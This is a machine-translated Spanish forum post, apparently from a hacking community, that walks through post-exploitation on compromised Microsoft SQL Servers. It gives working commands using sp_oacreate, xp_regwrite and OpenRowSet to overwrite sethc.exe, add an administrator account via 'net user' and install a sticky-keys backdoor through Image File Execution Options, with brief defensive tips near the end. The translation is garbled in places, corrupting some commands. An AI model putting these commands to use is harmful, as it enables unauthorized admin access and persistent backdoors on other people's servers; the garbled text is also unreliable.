exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; Esta sentencia copia sethc.exe al directorio dllcache Declara @oo INT ejecutive sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; Las otras dos sentencias utilizan sp_oacreate procedimientos almacenados que necesitan usar odsole70.dll archivo, por lo que la supervivencia de este archivo está relacionada con el éxito de su creación. (2), xpsql.cpp: Error 5 de CreateProcess (línea 737) Esta situación es más complicada, y se dice en Internet EJECUTIVA master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0 Seleccione * de OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("usuario de la red 123 123 /add")'); Seleccione * de OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); He revisado el sandbox para resaltar los derechos sobre este asunto, pero según mi práctica, esta tasa de éxito es muy baja, porque la mayoría de los servidores han eliminado c:\windows\system32\ias\ias.mdb. Luego puedes probar el secuestro de imágenes, por supuesto, el secuestro de imágenes también es condicional, 1 para que exista xp_regwrite este procedimiento almacenado 2 es 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',' Depurador' no se elimina Primero puedes preguntar si la tecla fija del registro ha sido secuestrada Maestro ejecutivo... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'', 'Depurador' Si el prompt no encuentra el problema, la prueba se elimina, no hay manera, si se le pide sethc.exe ejecutar el comando sql Maestro ejecutivo... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Depurador', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Después de conectarse al terminal 5 veces y cambiar, va directamente al escritorio y luego lo añade manualmente.
El registro modifica el puerto del terminal
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SISTEMA \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
En cuanto a la prevención del secuestro de imágenes, se logra principalmente mediante los siguientes métodos:
★ Ley de Restricción de Permisos
Si el usuario ya no tiene acceso a la clave del registro, no puede modificar estas cosas. Abre el Editor de Registro y ve a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, selecciona este elemento, haz clic derecho en > permisos - > avanzado y reduce los permisos de administrador y usuarios del sistema (aquí solo tienes que cancelar la operación de escritura).
★ Método rápido de corte con cuchillo para cáñamo sucio
Abre el editor de la lista y ve al bar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opciones de ejecución del archivo Image
El problema se puede resolver eliminando directamente el elemento Opciones de Ejecución del Archivo Imagen.
El comando SQL secuestra la instalación de la puerta trasera de la tecla fija del registro xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Depurador', 'REG_SZ', 'C:\WINDOWS\system32\kdsn.exe'
Descarga de software:Turistas, si queréis ver el contenido oculto de esta publicación, por favor Respuesta
|